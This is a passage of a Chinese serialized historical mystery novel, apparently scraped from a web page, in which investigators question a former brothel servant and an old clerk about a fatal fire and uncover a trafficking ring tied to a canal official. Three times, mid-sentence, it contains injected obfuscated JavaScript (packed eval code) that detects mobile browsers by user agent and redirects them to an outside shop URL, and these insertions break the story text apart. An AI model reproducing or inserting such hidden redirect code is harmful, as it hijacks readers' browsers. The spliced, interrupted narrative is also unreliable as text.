孙婆子脚步一顿,转过身:“客官要打听谁?” “听说你从前在京城翠玉楼做过事?” 孙婆子心头猛地一跳,脸上却还挂着笑:“客官听谁说的?老婆子一个乡下妇人,哪去过什么翠玉楼。” 高个男人盯着她,没说话。矮个男人则从怀里摸出一锭银子,“啪”一声放在桌上。银子足有五两,在昏暗的茶馆里泛着诱人的光。 “婆婆,”矮个男人依旧笑眯眯的,“我们兄弟俩没别的意思,就是想打听点陈年旧事。这点银子,算是茶钱,也算是一点心意。” 孙婆子看着那锭银子,又看了看两个男人。她活了六十多年,知道有些钱能拿,有些钱拿了会惹祸上身。眼前这两人,明显是后者。 “客官怕是找错人了。”她摇摇头,转身要走。 “景和十年腊月二十三,”高个男人忽然缓缓开口,“翠玉楼那场大火,死了二十七个人。忠勤伯府的戴衙内,翠玉楼的头牌水娘,还有……” 他顿了顿,一字一句道:“一个叫玉儿的丫鬟,和一个傻丫鬟随儿,活不见人,死不见尸。” 孙婆子的背脊僵住了。她缓缓转过身,脸上的笑容彻底消失了,取而代之的是一种混合着恐惧和戒备的神色。 “你们……到底是什么人?” 矮个男人将银子又往前推了推:“婆婆,坐下说话吧。我们只是想问清楚当年的事,问完了就走,绝不会给你添麻烦。” 孙婆子盯着那锭银子,又看了看两个男人。她知道,今天这事儿躲不过去了。她慢慢走到桌边,在长凳上坐下,双手在围裙上无意识地搓着。 “你们……要问什么?” 高个男人——秦海,从怀里取出一张画像,摊在桌上。画上是个年轻女子的侧脸,眉目精致,眼神却带着几分说不清道不明的媚态。 “认识她吗?” 孙婆子凑近看了看,瞳孔猛地收缩。虽然过去了十年,虽然画上的人年轻许多,但她还是一眼就认出来了——那是水娘,翠玉楼曾经最红的头牌,一曲琵琶能引得满堂掷金如雨的水娘。 “这……这是……” “水娘,对吧?”张超接口道,“翠玉楼的头牌,景和十年腊月二十三那晚,据说和戴明书一起死在了大火里。” 孙婆子的嘴唇动了动,没说话。 秦海又取出另一张画像。这张画上是个年纪更小的女子,约莫十三四岁,眉眼清秀,却带着几分怯生生的神色。 “这个呢?” 孙婆子看了一眼,手指开始微微发抖。那是玉儿,水娘的贴身丫鬟。大火那晚,有人说看见她从角门跑了,也有人说她死在了火里。后来官府发了海捕文书,可十年过去,再没消息。 “婆婆,”张超的声音温和了些,“我们知道你当年在翠玉楼烧茶水,那晚的事,你肯定看见了什么。说出来,这锭银子就是你的。我们保证,不会让第三个人知道是你说的。” 孙婆子沉默了很久。灶膛里的火噼啪作响,水壶里的水又开始咕嘟咕嘟地滚了。晨光透过门板的缝隙洒进来,在地上投下细长的光斑。 她终于开口,声音有些沙哑:“你们……为什么要查这些陈年旧事?” “查案。”秦海言简意赅,“一桩牵扯到江南的案子,可能和翠玉楼那场大火有关。” 孙婆子又沉默了。她想起十年前那个火光冲天的夜晚,想起那些凄厉的惨叫,想起浓烟中隐约看见的人影……那些画面,这些年来常常在她噩梦里出现。 “我说了,”她抬起头,眼中露出决然,“你们真能保证不牵连到我?” “以性命担保。”秦海沉声道。 孙婆子深吸一口气,像是下了很大的决心。她起身,走到门口左右看了看,确认官道上没人,才回身闩上门板。 茶馆里顿时暗了下来,只有灶膛里的火光和从窗缝透进来的微光。 孙婆子重新坐下,压低声音:“那你们问吧。不过我知道的也不多,就是个烧茶水的。” 秦海将画像推到她面前:“先说说水娘和玉儿。” 孙婆子看着画像,眼中闪过一丝复杂的情绪。那是追忆,是唏嘘,或许还有一丝不易察觉的恐惧。 “水娘啊……”她缓缓开口,“那时候真是红透了半边天。十六岁挂牌,十八岁就成了翠玉楼的头牌。长得美,琵琶弹得更好。一首《念奴娇》,能把人的魂都勾走。” 她顿了顿,像是沉浸在回忆里:“楼里的姑娘们都羡慕她,也嫉妒她。老鸨把她当摇钱树,捧在手心里怕摔了,含在嘴里怕化了。那些达官贵人,为了听她一曲,一掷千金都不眨眼。” “玉儿呢?”张超问。 “玉儿……”孙婆子扯了扯嘴角,露出一个说不清是同情还是讥讽的笑,“那孩子命苦。八岁那年被人牙子卖进来的,瘦得跟个干柴棍似的,看着就可怜。老鸨原本没看上她,是楼里一个过气的姑娘看她可怜,收在身边做了个粗使丫鬟。” “后来怎么成了水娘的贴身丫鬟?” “那是玉儿十二岁那年。”孙婆子回忆道,“小姑娘长开了,出落得水灵灵的。虽然比起水娘还差得远,但在丫鬟里算是拔尖的了。老鸨眼睛毒,看出她是个好苗子,就让她去伺候水娘,说是先历练历练,等水娘年纪大了,捧不上去了,就让玉儿顶上。” 她喝了口茶,继续说:“玉儿那孩子,看着怯生生的,其实心思活络。她知道这是机会,伺候水娘格外用心。水娘刚开始不太待见她,嫌她笨手笨脚。可玉儿会来事,嘴又甜,慢慢地,水娘也就用顺手了。” 秦海和张超对视一眼。这和之前查到的信息吻合——玉娘确实是水娘的贴身丫鬟,两人关系密切。 “景和十年腊月二十三那晚,”秦海盯着孙婆子,“到底发生了什么?” 孙婆子的脸色白了几分。她握紧手中的粗陶茶杯,指节有些泛白。 “那天……是小年夜。”她声音压得更低了,“楼里本来很热闹,姑娘们都在准备晚上的宴席。戴大爷是傍晚时分来的,带着几个跟班,一进门就嚷嚷着要水娘作陪。” 她顿了顿,眼中闪过厌恶:“戴大爷那个人,京城里谁不知道?表面上是个伯府公子,实际上……就是个禽兽。他折磨姑娘的手段,说出来都让人做噩梦。楼里的姑娘都怕他,可老鸨不敢得罪,收了五百两银子,硬是把水娘送进了他房间。” “后来呢?” “后来……”孙婆子的声音开始发抖,“后来大概戌时三刻,楼上忽然传来一声凄厉的惨叫。那声音……老身这辈子都忘不了......” 茶馆里静得可怕,只有灶膛里火苗跳跃的噼啪声。 “然后呢?”秦海追问。 “然后火就烧起来了。”孙婆子闭上眼睛,仿佛又看到了那晚冲天的火光,“先是从戴大爷所在的听雨轩冒烟,接着火苗就蹿出来了。楼里顿时乱成一团,姑娘们尖叫着往外跑,龟公、护院忙着救火,可火势太大,根本扑不灭。” 她睁开眼睛,眼中满是恐惧:“老身吓坏了,想从茶水房跑出去,可门被掉下来的梁柱堵住了。老身只好从楼梯间的一个小窗户爬出去,那是二楼,我闭着眼睛跳下去,腿都摔瘸了。” “你跑出来的时候,看见了什么?”秦海敏锐地抓住重点。 孙婆子沉默了很久,久到秦海几乎以为她不会说了。 “老身……”她终于开口,声音轻得像耳语,“老身一瘸一拐地往巷子口跑。那时候火已经烧得很大了,半边天都映红了。我跑到角门那里,想从那儿出去……” 她停下来,咽了口唾沫:“然后我看见了……一个人。” “谁?” “一个男人。”孙婆子说,“穿着深色的衣衫,披着黑色大氅,就站在角门外的阴影里。” 秦海和张超同时坐直了身子。 “可看清楚是什么样的男子?多大年纪,高矮胖瘦?” “看年纪大概二十多岁,当时天黑,我也看的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351724|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很清晰,身高嘛大概就和官人差不多。”孙婆子指了指秦海。 “你认识他吗?” 孙婆子摇头:“不认识。但戴大郎来的时候,是和他一起来的。我躲在茶水房的门缝里偷看过,戴大郎对他很客气,一口一个‘宋兄’。” 宋兄! 秦海和张超心中同时一震。江南发运使崔琰的背后是宋贵妃,是宋国公府。这个“宋兄”,会不会就是宋家的人? “那个人什么时候走的?”秦海急声问。 “没待多久。”孙婆子回忆道,“他们来的时候大概是酉时,那个人在楼里坐了不到一刻钟就走了。戴大爷留下来,指名要水娘。” “大火烧起来的时候,他为什么又回来了?” “我不知道。”孙婆子摇头,“但我看见他接了一个人。” “谁?” 孙婆子的嘴唇抖了抖:“玉儿。” 茶馆里再次陷入死寂。 灶膛里的火忽然爆了个灯花,吓了三人一跳。 “你看清楚了?”秦海的声音紧绷着。 “看清楚了。”孙婆子肯定地说,“虽然火光大,浓烟也多,但角门那里离火场远些。我躲在阴影里,看见玉儿从角门跑出来,头发散着,脸上有灰,但就是她没错。那个人接住她,两人一句话没说,就上了一辆停在外面的马车。马车很快走了,往北边去了。” 秦海和张超对视一眼,都从对方眼中看到了震惊。 “那水娘呢?”张超问,“你真的看见她和戴明书死在一起了?” 孙婆子摇头:“大火烧了一夜,五城兵马司来的时候,楼已经塌了。后来清点尸体,在听雨轩的废墟里找到两具抱在一起的焦尸。一具从身上的玉玦认出是戴大爷,另一具从残存的首饰衣物看,像是水娘。但……” 她顿了顿,眼中闪过一丝疑虑:“但那具女尸烧得太厉害了,根本看不出原本的样子。官府说是水娘,大家也就信了。可我现在想想……如果玉儿能跑出来,水娘为什么不能?” “你的意思是……”秦海瞳孔微缩。 “我不知道。”孙婆子摇头,“我只是个烧茶水的,不懂这些。但我记得,水娘身边除了玉儿,还有个傻丫鬟叫随儿。那孩子脑子不好使,平时就在后院干些粗活。大火那晚,有人看见她从倒夜香的那个门出去了,再没回来。” 秦海脑中迅速串联起线索。如果那具女尸不是水娘,而是傻丫鬟随儿呢?水娘放火烧了翠玉楼,杀了戴明书,然后扮作随儿从角门逃走?而玉儿,则被那个“宋兄”接走? 这样一来,两个“失踪”的丫鬟就都有了下落。一个成了江南水月庵的住持水仙姑,一个成了崔琰干儿子的夫人崔娘子。 而这一切的背后,可能都有那个“宋兄”——宋家人的影子。 “婆婆,”秦海从怀中又取出一锭银子,和桌上那锭放在一起,“今天的话,到此为止。你从没见过我们,我们也没来过这里。明白吗?” 孙婆子看着那两锭银子,重重点头:“我明白。我老婆子还想多活几年。” 秦海和张超起身,正要离开,孙婆子忽然又叫住他们。 “还有一件事……”她犹豫着说,“我不知道有没有用。” “你说。” “玉儿被卖进翠玉楼之前……”孙婆子回忆道,“我听那个收留她的过气姑娘说过,玉儿好像不是普通人家出身。她爹原本是个小官,犯了事被抄家,女眷被发卖。玉儿那时候小,记不清家里具体是做什么的,只记得家里以前有过丫鬟仆人,还读过书。” 她顿了顿:“那姑娘还说,玉儿后背有块胎记,像片柳叶。老鸨验身的时候看见了,还笑着说‘倒是好认’。”说到这里,孙婆子犹豫了一下,又接着道:“楼里那夜逃出去的老身还看到一人,是个官员。” “官员?”秦海和张超心中又是一震。这或许是个关键线索。 “说是在骐骥院任职。也是那个过了气的姑娘说的。她也是个可怜人,可惜那晚也没逃得脱,唉,造孽!” 孙婆子提供的这条线索更加重要。 “多谢。”秦海郑重道,“婆婆可知道他身份,姓名?” 孙婆子摇了摇头,”老身知道的只有这么多了。” 两人见再也问不出什么,就不再多留,推开茶馆门走了出去。晨雾已经散了,官道上开始有行人车马。他们上了停在路边的一辆不起眼的马车,迅速离去。 茶馆里,孙婆子闩上门,背靠着门板,长长舒了一口气。她走到桌边,看着那两锭银子,伸手摸了摸,冰凉的触感让她稍微安心了些。 她将银子收进怀里,走到灶台前,继续烧水。水壶咕嘟咕嘟地响着,白气蒸腾,模糊了她满是皱纹的脸。 那些陈年旧事,她原本以为会烂在肚子里,带进棺材。没想到十年过去了,还是被人翻了出来。 她想起水娘弹琵琶时低眉顺眼的样子,想起玉儿刚来时瘦骨嶙峋的模样,想起那晚冲天的火光和凄厉的惨叫…… “造孽啊……”她喃喃自语,往灶膛里添了把柴。 火苗蹿得更高了,映得她脸上明明灭灭。 70. 第70章 崔旺的身份 酉时未过,天色便已暗沉下来。 裴宴坐在宽大的紫檀木书案后,面前摊着一幅江南水陆舆图,上面用朱笔圈出了数个地点:归平县码头、水月庵、柳枝巷、还有几条纵横交错的漕运水道。 他手里握着一支狼毫笔,笔尖悬在舆图上方,久久未落。 窗外传来风声,卷着几片枯黄的梧桐叶拍打在窗棂上,发出簌簌的声响。更深露重,寒意顺着窗缝丝丝渗入,书房内清冷无比,灯光映衬下裴宴俊逸的脸显得温润了不少,门被轻轻叩响。 “进来。”裴宴没有抬头。 长风推门而入,身后跟着一名身着夜行衣的男子。那男子约莫三十岁年纪,面容普通,属于扔进人堆里就找不出来的那种,唯有一双眼睛格外锐利,在烛光下闪着精光。 “郎主,无痕回来了。”长风低声禀报。 无痕和飞雁是裴宴的暗卫。 裴宴这才抬起眼,目光落在无痕身上:“如何?” 无痕单膝跪地,声音平稳:“禀郎主,崔旺的身份已查明。” “说。” “崔旺,原名崔文康,祖籍滁州。其父崔守义曾任滁州府户房书吏,后因牵扯一桩钱粮亏空案被革职查办,家道中落。崔旺八岁时父母双亡,被远房堂叔崔琰收留。”暗探语速不快,字字清晰,“崔琰其时已在宫中当差,虽只是个小太监,但颇得当时还是才人的宋贵妃赏识。” 裴宴眼神微凝:“接着说。” “崔旺在崔琰京中宅邸长到十四岁,后被送入宋家在京郊的一处田庄做管事学徒。十八岁时,崔琰已升任内侍省都知,将崔旺调回身边,改名崔旺,对外称是远房侄儿,实为心腹。”无痕从怀中取出一卷誊抄的户籍文书,双手呈上,“这是属下从滁州府旧档中抄录的崔氏宗谱片段,还有宋家田庄二十年前的仆役名册。” 长风接过文书,摊开在裴宴面前。 烛光下,泛黄的纸页上字迹潦草,但关键信息清晰可见:崔守义,滁州府户房书吏,景和三年因案革职;其子崔文康,时年八岁,父母双亡后由叔父崔琰收养。 另一页是宋家田庄的仆役名册,在“景和六年新进仆役”一栏中,赫然写着“崔文康,年十四,滁州人,荐者:崔公公”。 “崔琰与戴明书有何关联?”裴宴手指轻叩桌案。 无痕略一沉吟:“属下走访了崔琰老家几位年长者。据他们回忆,崔家原本也是书香门第,崔琰的祖父曾中过举人,在地方上颇有声望。但到了崔琰父亲这一代,家道开始中落。崔琰少时曾随父进京访友,在京城住过一段时日。” 他顿了顿,压低声音:“其中一位老者说,崔琰年轻时心高气傲,一心想重振家声。但有一次在京中诗会上,因出身寒微遭人嘲笑,当中羞辱他最甚的,便是忠勤伯府的戴明书。此事对崔琰刺激颇深,据说他离京回乡后闭门不出数月,再后来……就进宫了。” 书房内一时寂静,只有烛火偶尔爆开的细微噼啪声。 裴宴目光深邃。一个因家道中落、遭人羞辱的少年,怀恨在心,后来得势,设计报复——这动机确实合理。 “宋家在这其中扮演什么角色?”他问。 无痕道:“崔琰入宫后,最初并不起眼。直到景和六年,宋才人晋封嫔位,崔琰被调到她宫中伺候。宋嫔。也就是后来的宋贵妃。看出崔琰机敏能干,开始提拔他。崔琰也确实不负所望,办事稳妥,逐渐成为宋贵妃的心腹。” “而宋家,”无痕声音更低了,“与忠勤伯府素有嫌隙。忠勤伯虽爵位不高,但在朝中根基颇深,且与宋家的政敌走得近。戴明书作为忠勤伯嫡长子,若出事,对忠勤伯府是沉重打击。” 裴宴嘴角勾起一抹冷笑:“所以,崔琰要报仇,宋家要打击政敌,双方一拍即合。戴明书就这样成了牺牲品。” “大人明鉴。”无痕垂首。 “那么玉娘呢?”裴宴追问,“崔旺与她,又是什么关系?” 无痕从怀中又取出一份文书:“这是属下从滁州府另一卷旧档中发现的。崔守义家与邻户罗家交好,两家曾为子女定下婚约——崔守义之女崔秀娥,许配给罗家长子罗明轩。” 裴宴眉头微挑:“崔旺的姐姐?” “正是。”无痕点头,“但崔秀娥在十三岁时染病夭折,婚约自然作废。后来罗家也遭变故,罗明轩的父亲因一桩官司被牵连入狱,家产充公。罗家男子发配,罗家女眷被发卖,其中就包括罗明轩的幼妹,当时年方八岁,名唤罗玉儿。” 烛火摇曳,将裴宴的影子投在墙上,拉得很长。 “罗玉儿被卖入翠玉楼,成了后来的玉娘。而崔旺,在得知罗家遭难后,曾多方打听罗玉儿下落。”暗探继续说,“但当时他才入了崔府,人微言轻,直到数年后在崔琰身边站稳脚跟,才重新开始寻找。” “他找到了?” “找到了。”无痕肯定道,“景和九年,也就是翠玉楼大火前一年,崔旺通过崔琰的关系,查到罗玉儿在翠玉楼。但他没有立即相认,而是暗中观察。这期间,罗玉儿已成了水娘的贴身丫鬟。” 裴宴站起身,踱到窗前。夜色浓重,远处的菰城灯火零星,更夫打更的梆子声隐约传来,已是亥时。 他转过身,烛光在他脸上投下明明灭灭的光影:“所以,景和十年腊月二十三那晚,崔旺很可能也参与了。” “极有可能。”无痕分析道,“崔琰要杀戴明书,需要翠玉楼内部有人配合。水娘不愿接戴明书这个客人,正好可以利用。而玉娘作为水娘贴身丫鬟,若答应相助,不仅能报仇。戴明书折磨女子手段残忍,玉娘在翠玉楼想必也听说过。还能借此脱离苦海,与崔旺团聚。” 裴宴走回书案前,手指在舆图上那个标着“水月庵”的红圈上轻轻一点:“水娘李代桃僵,用傻丫鬟随儿替死,自己扮作随儿逃脱。而玉娘,则被那个宋兄,很可能是宋家派来善后的人接走。” 他抬眼看向暗探:“那个宋兄的身份,有线索吗?” 无痕面露难色:“时间久远,且当时在场之人非死即散,难以查证。但属下推测,此人必是宋家核心人物,否则无法调动资源接应玉娘,并将她安然送到崔旺身边。” 裴宴沉默片刻,忽然问:“崔旺当时是否在场?” “属下尚未查到。” “他与玉娘,是何时成亲的?” “景和十一年春,也就是大火后三个月。”无痕答道,“崔旺以远房表妹的身份,将玉娘接回宅中。半年后正式成亲,对外称玉娘是小户良家女,因父母双亡来投奔。还有一点,崔旺曾成过亲,育有一女,只不过前妻据说一年前亡故。” “真巧。时间对得上。”裴宴冷笑,“一场大火,死了二十三个人,却成全了两对有情人。崔琰报了仇,崔旺找回了青梅竹马。好算计。” 长风在一旁忍不住插话:“郎主,那水娘……如今的水仙姑,她在这其中又得到了什么?总不会白白冒险吧?” 裴宴重新坐下,端起早已凉透的茶盏,抿了一口:“水娘,或许我们提审了她才能完全了解当时的情形。不过水娘一个青楼女子,即便红极一时,终究是玩物。借这场大火,她不但可以摆脱娼籍,还能改头换面,何乐而不为。至于她后来为何会成为水月庵住持,又为何与王大官人勾结贩卖人口……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355330|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他放下茶盏,眼中寒光一闪:“那恐怕就是另一桩交易了。” 书房内再次陷入沉默。炭火在铜盆里静静燃烧,偶尔爆出几点火星。 无痕跪在地上,等待下一步指令。 良久,裴宴才缓缓开口:“你下去吧。这些消息,不得外传。” “属下明白。”无痕起身,躬身退出书房。 门轻轻合上。长风走到裴宴身边,低声道:“郎主,如今崔旺和玉娘,也就是崔娘子的身份已经明朗。他们与崔琰、宋家关系密切,又与翠玉楼大火有牵连。那水仙姑更是关键人物,她知道戴明书之死的全部真相。” 裴宴没有立刻回应。他重新看向舆图,目光在几个红圈之间移动。 水月庵、柳枝巷、归平县码头、漕运水道……这些点看似分散,实则被一条看不见的线串联着。线的一端是十年前京城的翠玉楼大火,另一端是如今江南的人口贩卖和漕运贪腐。 而握着这条线的人,很可能就是宋家。 “崔琰如今在江南经营多年,掌漕运之利,与地方官员勾结,已成尾大不掉之势。”裴宴声音低沉,“陛下派我来,明为赈灾,实为查案。如今看来,这案子牵扯无数朝中大臣,上回陛下就有所顾虑,陛下……也难。” 长风担忧道:“郎主,若真牵扯到宋家……宋贵妃在宫中圣眷正隆,宋国公在朝中势力庞大。咱们……” “怕了?”裴宴抬眼看他。 长风挺直腰板:“小的不怕!小的只是担心郎主安危。江南天高皇帝远,若他们狗急跳墙……” “他们不敢。”裴宴打断他,语气平静却带着不容置疑的威严,“至少现在不敢。我是钦差,奉皇命而来,若在江南出事,朝廷必会彻查。宋家再大胆,也不敢明目张胆地对钦差下手。” 他顿了顿,眼中闪过锐利的光:“但他们会在暗中使绊子,会阻挠查案,甚至会……灭口。” “灭口?”长风一惊。 “水仙姑。”裴宴缓缓吐出这三个字,“她是戴明书之死的直接参与者,知道太多秘密。若我们继续查下去,宋家和崔琰第一个要除掉的就是她。” 长风倒吸一口凉气:“那咱们得赶紧……” “不急。”裴宴摆摆手,“水仙姑也不是省油的灯。她能从十年前那场大火中逃脱,能在水月庵站稳脚跟,还能与王大官人勾结做略卖人口的勾当——这样的女人,不会坐以待毙。” 他手指在舆图上轻轻划过:“我们现在要做的,是找到确凿证据。崔旺和玉娘的身份虽然已经确认,但要定崔琰的罪,还需要更直接的人证和物证。” “郎主的意思是……” “双管齐下。”裴宴站起身,走到书架前,取出一卷空白奏折,“一方面,继续盯紧崔娘子和水仙姑,她们之间必有联络。另一方面,从漕运账目入手,崔琰在江南这些年,贪墨的银两绝不会少,这些钱流向何处,就是突破口。” 他开始研墨,动作沉稳有力:“秦海和张超那边,应该快有消息了。等他们回来,我要知道那个‘宋兄’到底是谁。” 长风肃然:“小的明白。 窗外夜色更深了。秋风呼啸而过,卷起满庭落叶。远处传来隐约的更鼓声,已是亥时三刻。 裴宴写完最后一笔,将奏折合上,用火漆封好。这是呈给皇帝的密折,详细禀报了江南漕运案的初步调查结果,以及崔琰与宋家可能的关联。他没有提及翠玉楼旧案——时机未到,证据不足。 “明日一早,让人八百里加急,送往京城。”他将密折递给长风。 “是。”长风双手接过,小心翼翼地收入怀中。 71. 第71章 线索 果然如裴宴所料,第二日午时便收到了京城传来的消息,这下如一块投入静水的石头,在裴宴的心上激起层层涟漪。他下令秦海和张超继续深入调查。 秦海和张超接到指令后,不敢耽搁,立即从十里铺折返京城,直奔骐骥院。 骐骥院在大越朝掌天下马政,衙门设在城西一条僻静的巷子里。门口两尊石狮,朱漆大门紧闭,只有侧门开着,偶尔有官员出入。秦海和张超在斜对面的茶楼里守了两日,终于等到了他们要见的人。 那是个年过半百的老吏,姓周,在骐骥院做了三十年文书,对院内大小事务了如指掌。秦海托了关系,以同乡的名义约他在茶楼见面。 周吏员瘦瘦小小,穿着一身半旧的青布袍子,一双眼睛却透着几分精明。他坐下后,看着对面两个同乡,眼中闪过一丝狐疑。 “两位……真是滁州来的?”他慢吞吞地问,“老朽在京城三十年,滁州口音还是听得出来的。” 张超笑着给他斟茶:“周伯好耳力。实不相瞒,我们兄弟是替人办事的。想打听一个人。” “谁?” “十年前在骐骥院当差的,姓崔。”张超压低声音,“听说如今不在京城了,去了江南。” 周吏员端着茶杯的手微微一顿。他抬眼看了看两人,沉默片刻,才道:“你们打听他做什么?” 秦海从袖中摸出一锭银子,放在桌上。银子足有十两,在茶楼昏暗的光线里泛着诱人的光。 “周伯别误会。我们只是想知道那人如今的下落,没别的意思。” 周吏员盯着那锭银子看了许久,脸上露出一丝犹疑,良久才轻叹一声,将银子拢进袖中。 “罢了,老朽这把年纪,也不怕得罪谁。”他压低声音,“你们说的是崔文康吧?就是那个后来改名叫崔旺的。” 秦海和张超对视一眼——崔旺!果然是他! “他当年在骐骥院做什么?” “做什么?”周吏员撇撇嘴,“就是个跑腿的小吏。他有个堂叔在宫里当差,托了关系把他塞进来的。那小子倒是机灵,做事也勤快,就是……心思太重。” “心思太重?” “总想着往上爬。”周吏员喝了口茶,“在骐骥院干了三年,忽然有一天就辞了。说是被一个远房亲戚看中,要带他去江南发财。” “远房亲戚?”秦海追问,“什么人?” 周吏员摇头:“这老朽就不清楚了。只听他说,那亲戚在江南做官,姓崔,和他同姓,好像是发运使还是什么。老朽当时还纳闷,一个发运使,怎么就看上他一个小吏了?” 发运使崔琰! 秦海和张超相互很有默契的看了对方一眼。这线索终于连上了。崔旺本就是崔琰的人,从十年前开始就是了!他去骐骥院当差,说不定也是崔琰的安排! “他走之前,有没有提过别的?”张超问,“比如,认不认识一个姓宋的?” 周吏员皱眉想了想,忽然一拍大腿:“你这么一说,老朽想起来了。他走之前那阵子,确实常和一个年轻人来往。那年轻人常来找他,两人躲在角落里嘀嘀咕咕的。老朽有次路过,听见崔文康说:“......宋兄且放宽心,都里有自己人,不过到时候还需要宋兄帮我一个忙。事成之后,定重谢......”周吏员说到这里,面露难色,“或许当时是老朽的脚步声有些重,被他们听到了,谈话就此打住。” “那年轻人长什么样?” “二十来岁,穿得讲究,一看就是大户人家出来的。”周吏员回忆道,“有次老朽看见他骑马来,那马是御马监的好马,一般人可弄不到。” 秦海和张超对视一眼——御马监的好马,那是皇亲国戚才能用的!这“宋兄”的身份,越来越清晰了。 “后来呢?”秦海追问。 “后来崔文康就走了,那年轻人也没再来过。”周吏员耸耸肩,“老朽以为这事儿就这么过去了。没想到过了几年,听说那年轻人出事了。” “出什么事?” “具体的不知道。”周吏员压低声音,“好像是卷进什么案子,被宋国公府打发回乡下去了。宋国公你们知道吧?那是贵妃娘娘的娘家,得罪不得。他府里的事,谁敢多问?” 宋国公府! 秦海和张超心中同时闪过一个念头,那个宋兄,果然是宋家的人!是宋国公府的人! “周伯,”秦海从怀中又取出一张画像,“您看看,那年轻人是不是这个?” 画像上是他们根据孙婆子描述,请画师绘制的宋大模样。周吏员凑近看了看,眯着眼想了半天,不确定地说:“眉眼有点像……但老朽记不太清了,毕竟十年了。” 他顿了顿,又补充道:“不过有件事老朽记得清楚,那年轻人右手虎口有块疤,像是烫伤的。有次他递东西给崔文康,老朽正好看见。” 右手虎口有疤。这个特征太关键了! 秦海和张超谢过周吏员,离开了茶楼。两人走在京城熙熙攘攘的街道上。 “宋家的人。”张超低声道,“果然是他们。” 秦海眯起眼,“那个宋大,既然被宋国公府打发回乡下去,肯定知道些什么。咱们得找到他。” “可他在哪儿?” 秦海想了想:“既然是宋国公老家的人,多半被送回原籍了。宋国公祖籍在……应天府。” “应天府离江南不远。”张超眼中闪过兴奋,“郎主正好在江南,咱们可以顺藤摸瓜!” 两人不敢耽搁,当即去驿站,将最新查到的线索写成密报,八百里加急送往江南。 与此同时,菰城这边,裴宴也没有闲着。 王兆仁那边,长风安排的人已经盯了数日,终于有了突破。 这日傍晚,长风匆匆走进书房,脸上带着压抑不住的喜色。 “郎主,抓到了。” 裴宴从案牍间抬起头:“什么人?” “王兆贵身边的亲信,姓苟,人都叫他苟文书。”长风压低声音,“此人负责替王兆贵打理见不得光的账目,今日午后在码头接货时,被咱们的人堵了个正着。” “接的什么货?” 长风眼中闪过寒光:“两个女子,十四五岁,用麻袋装着,说是从北边逃荒来的,要送去归平县王兆贵那里做奴婢。属下让人暗中跟着,发现她们被送进了城东一处宅子——那宅子是王兆贵的私产,明面上是他养外室的地方,实际上……” 他顿了顿,声音更低:“属下让人趁夜摸进去看了,那宅子后院有个地窖,里面关了七八个女子。最大的不过二十,最小的……十二三岁。” 裴宴握着笔的手猛地收紧,笔杆发出细微的咯吱声。他闭了闭眼,深吸一口气,才将那股汹涌的怒意压下去。 “人呢?” “苟文书已经被控制住了,关在行辕后院柴房里。”长风道,“他嘴硬得很,一开始什么都不肯说。小的用了点手段,他才松口——但只承认那两个女子是王兆贵要的,其他的打死不认。” “不认?”裴宴冷笑,“那就让他认。” 他站起身,披上外袍:“带我去见见他。” 柴房在行辕最深处,偏僻阴冷。门口守着两个侍卫,见裴宴来了,立即躬身行礼。 长风推开门,一股霉味和血腥气扑面而来。 柴房里只有一盏油灯,昏黄的光晕照出一个蜷缩在墙角的身影。那是个四十来岁的中年男子,穿着一身皱巴巴的绸衫,此刻衣衫凌乱,脸上带着青紫的伤痕,整个人抖得像筛糠。 听见脚步声,他猛地抬头,看清来人后,眼中闪过惊恐。 此人他见过,在前些日子水患时,此人巡视归平县,他跟在大官人身后远远看到的。 “裴,裴安抚……”苟文书脸色发白声音发颤,“小人冤枉啊!小人什么都不知道……” 裴宴在他面前站定,居高临下地看着他。油灯的光从他背后照来,将他整个人笼罩在阴影里,唯有那双眼睛冷得像深冬的寒潭。 “什么都不知道?”他的声音不高,却带着让人胆寒的威压,“那两个女子,是你亲自接的。她们现在在城东宅子的地窖里。你还要说不知道?” 苟文书的脸更白了,嘴唇哆嗦着,却说不出话。 “本官给你两条路。”裴宴缓缓道,“第一条,你如实招供,把你知道的都说出来。本官可以保你一条命,发配充军,总有活路。” 苟文书眼中闪过挣扎。 “第二条,”裴宴的声音冷了下去,“你继续嘴硬。本官有的是办法让你开口。等你说出来的时候,罪名会多加一条。拒捕抗供,罪加一等。到时候,你这条命,就保不住了。” 柴房里静得可怕,只有油灯偶尔爆开的噼啪声。苟文书的喘息声越来越重,脸上的冷汗涔涔而下。 终于,他像是被抽去了所有力气,瘫软在地上。 “我……我说……” 裴宴转身,在长风搬来的椅子上坐下。他微微颔首,示意苟文书开口。 苟文书咽了口唾沫,断断续续地说起来。 他是王兆贵的心腹,替他打理那些见不得光的生意。其中最要紧的一桩,就是“送人”。 “送什么人?”裴宴问。 “女……女子。”苟文书低着头,“从各处收来的,有逃荒的,有被家里人卖的,也有……也有拐来的。先送到归平县王兆贵的私宅,由他筛选。长得好的,身家清白的,留下;剩下的,再送到别处。” “别处是哪里?” 苟文书哆嗦了一下,不敢抬头:“漕……漕运码头上。有崔大人的人来接。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“你说的这些,可有证据?” 